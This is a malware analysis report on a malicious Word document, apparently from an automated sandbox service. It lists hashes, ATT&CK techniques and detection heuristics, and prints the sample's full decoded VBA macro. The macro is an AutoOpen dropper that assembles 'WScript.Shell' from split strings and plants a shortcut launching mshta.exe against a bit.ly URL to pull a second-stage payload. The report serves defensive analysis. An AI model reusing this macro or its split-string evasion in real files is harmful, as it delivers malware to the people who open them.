Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 4fcd596981139985…

MALICIOUS

Office (OLE)

295.0 KB Created: 2019-06-13 00:52:00 First seen: 2020-09-07
MD5: 96ca6e74726fa2f90e7f06b1e4a69ef4 SHA-1: 2c5252787c75667b947d0345dcdf195df6cde6e9 SHA-256: 4fcd5969811399850fb7d56b82a125f9e43fc2a801bd855de0767abcbed530ad
282 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment T1204.002 Malicious File T1059.009 Embedded Script

The sample contains a VBA macro with an AutoOpen subroutine that is designed to execute malicious code. The macro reassembles the string 'mshta.exe' and uses it to launch a URL from a bit.ly domain. It also creates a shortcut file at 'C:\Users\Public\MsUpdate.lnk' which points to 'mshta.exe' and the malicious URL, likely to establish persistence or execute a second-stage payload. The ClamAV detection and critical heuristic firings for obfuscated API names and auto-execution further support its malicious nature.

Heuristics 8

  • ClamAV: Doc.Dropper.Agent-9504251-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Dropper.Agent-9504251-0
  • VBA macros detected medium 4 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Dangerous API name reassembled from split string literals critical OLE_VBA_SPLIT_KEYWORD_OBFUSCATION
    VBA concatenates short string literals that reassemble a dangerous API/ProgID/LOLBin name (e.g. Scripting.FileSystemObject, WScript.Shell, powershell, URLDownloadToFile) which appears in no single literal. Splitting an API name across string concatenation is done only to evade keyword scanning.
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/officeDocument/2006/bibliography In document text (OLE body)
    • http://schemas.openxmlformats.org/officeDocument/2006/customXmlIn document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 1338 bytes
SHA-256: 29ceed437b500c500dcc7f0bc20e5c403f1145d87b6fcb83a868e345ae20a7af
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "NewMacros"
Sub AutoOpen()
    On Error Resume Next
    Dim shell_obj
    Dim wS As String
    Dim msword As String
    Dim nlf As String
    Dim orgf As String
    
    wS = "Ws"
    Sw = "\sta"
    msword = "C:" & "\Use" & "r" & "s\P" & "ub" & "lic\Ms" & "Update.ln" & "k"
    WW = "Rec"
    wS = wS & "cr"
    Sw = Sw & "rtofd"
    wS = wS & "ip"
    nlf = "expl" & "orer " & msword
    wS = wS & "t.Sh"
    Sw = Sw & "oc"
    WW = WW & "As"
    wS = wS & "ell"
    Set s = CreateObject(wS)
    Set so = s.CreateShortcut(msword)
    so.TargetPath = "ms" & "ht" & "a.e" & "xe"
    so.Arguments = "htt" & "ps://b" & "it" & "." & "ly/" & "2OQMnTi"
    so.Save
    s.Run nlf
    Dim objPic As Shape
    For Each objPic In ActiveDocument.Shapes
        If objPic.AlternativeText = "GDPR" Then
            objPic.Left = 0
            objPic.Top = 0
            objPic.Width = 0
            objPic.Height = 0
        End If
    Next objPic
    ActiveDocument.Content.Font.Hidden = False
End Sub

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